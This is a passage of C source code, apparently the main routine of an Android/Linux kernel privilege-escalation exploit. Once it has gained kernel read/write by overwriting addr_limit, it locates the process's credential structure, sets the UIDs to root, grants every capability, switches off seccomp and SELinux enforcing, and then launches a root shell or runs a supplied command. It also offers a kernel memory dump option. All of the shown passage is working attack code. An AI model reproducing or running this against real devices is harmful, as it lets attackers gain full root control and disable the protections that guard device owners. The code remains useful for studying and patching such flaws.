1038 message("MAIN: Clobbering addr_limit");
1039 unsigned long const src = 0xFFFFFFFFFFFFFFFEul;
1041 try = 0;
1042 while(try < RETRIES && !clobber_data(thread_info_ptr + 8, &src, 8)) {
1043 message("MAIN: **fail** retrying");
1044 try++;
1046 if (try == RETRIES) {
1047 error("Failed to clobber addr_limit");
1049 else if (try > 0) {
1050 message("MAIN: took %d tries but did it", try);
1053 message("MAIN: thread_info = 0x%lx", thread_info_ptr);
1055 setbuf(stdout, NULL);
1056 message("MAIN: should have stable kernel R/W now");
1058 message("MAIN: searching for cred offset in task_struct");
1059 unsigned char task_struct_data[PAGE+16];
1060 kernel_read(task_struct_ptr, task_struct_data, PAGE);
1062 unsigned long offset_task_struct__cred = getCredOffset(task_struct_data, argv[0]);
1064 unsigned long cred_ptr = kernel_read_ulong(task_struct_ptr + offset_task_struct__cred);
1066 #ifdef OFFSET__cred__user_ns
1067 unsigned long search_base = kernel_read_ulong(cred_ptr + OFFSET__cred__user_ns);
1068 if (search_base < 0xffffffc000000000ul || search_base >= 0xffffffd000000000ul)
1069 search_base = 0xffffffc001744b70ul;
1070 #else
1071 #define search_base 0xffffffc000000000ul
1072 #endif
1074 message("MAIN: search_base = %lx", search_base);
1076 message("MAIN: searching for selinux_enforcing");
1077 unsigned long selinux_enforcing = findSymbol(argv[0], search_base, "selinux_enforcing");
1078 // unsigned long selinux_enabled = findSymbol(argv[0], search_base, "selinux_enabled");
1080 message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred);
1082 for (int i = 0; i < 8; i++)
1083 kernel_write_uint(cred_ptr + OFFSET__cred__uid + i * 4, 0);
1085 if (getuid() != 0)
1086 error( "changing UIDs to 0");
1088 message("MAIN: UID = 0");
1090 message("MAIN: enabling capabilities");
1092 // reset securebits
1093 kernel_write_uint(cred_ptr + OFFSET__cred__securebits, 0);
1095 kernel_write_ulong(cred_ptr+OFFSET__cred__cap_inheritable, 0x3fffffffffUL);
1096 kernel_write_ulong(cred_ptr + OFFSET__cred__cap_permitted, 0x3fffffffffUL);
1097 kernel_write_ulong(cred_ptr + OFFSET__cred__cap_effective, 0x3fffffffffUL);
1098 kernel_write_ulong(cred_ptr + OFFSET__cred__cap_bset, 0x3fffffffffUL);
1099 kernel_write_ulong(cred_ptr+OFFSET__cred__cap_ambient, 0x3fffffffffUL);
1101 int seccompStatus = prctl(PR_GET_SECCOMP);
1102 message("MAIN: SECCOMP status %d", seccompStatus);
1103 if (seccompStatus)
1105 message("MAIN: disabling SECCOMP");
1106 kernel_write_ulong(thread_info_ptr + OFFSET__thread_info__flags, 0);
1107 // TODO: search for seccomp offset
1108 int offset__task_struct__seccomp = getSeccompOffset(task_struct_data, offset_task_struct__cred, seccompStatus);
1109 if (offset__task_struct__seccomp < 0)
1110 message("MAIN: **FAIL** cannot find seccomp offset");
1111 else {
1112 message("MAIN: seccomp offset %lx", offset__task_struct__seccomp);
1113 kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp, 0);
1114 kernel_write_ulong(task_struct_ptr + offset__task_struct__seccomp + 8, 0);
1115 message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP));
1119 if (selinux_enforcing == 0)
1120 message("MAIN: **FAIL** did not find selinux_enforcing symbol");
1121 else
1123 kernel_write_uint(selinux_enforcing, 0);
1124 message("MAIN: disabled selinux enforcing");
1126 cacheSymbol(argv[0], "selinux_enforcing", selinux_enforcing);
1127 message("MAIN: root privileges ready");
1129 /* process hangs if these are done */
1130 // unsigned long security_ptr = kernel_read_ulong(cred_ptr + OFFSET__cred__security);
1131 // kernel_write_uint(security_ptr, 1310);
1132 // kernel_write_uint(security_ptr+4, 1310);
1133 // for (int i=0; i<6; i++)
1134 // message("SID %u : ", kernel_read_uint(security_ptr + 4 * i));
1137 if (argc >= 2 && argv[1][0] == '-') {
1138 if (!strcmp(argv[1], "-dump") && argc >= 4) {
1139 unsigned long start, count;
1140 sscanf(argv[2], "%lx", &start);
1141 start &= ~7;
1142 sscanf(argv[3], "%lx", &count);
1143 unsigned long startValue = 0;
1144 int dump = 0;
1145 if (argc >= 5)
1146 sscanf(argv[4], "%lx", &startValue);
1147 else
1148 dump = 1;
1150 unsigned char page[PAGE];
1151 for (unsigned long i=start; i<start+count ; i+=PAGE) {
1152 kernel_read(i, page, PAGE);
1153 if (!dump) {
1154 for (int j=0; j<PAGE; j+=8) {
1155 if (*(unsigned long*)(page+j)==startValue) {
1156 dump = 1;
1157 break;
1161 if (dump) {
1162 printf("%lx:\n", i);
1163 hexdump_memory(page, PAGE);
1166 exit(0);
1169 if (argc == 2)
1171 execlp("sh", "sh", "-c", argv[1], (char *)0);
1173 else {
1174 message("MAIN: popping out root shell");
1175 execlp("sh", "sh", (char*)0);
1178 exit(0);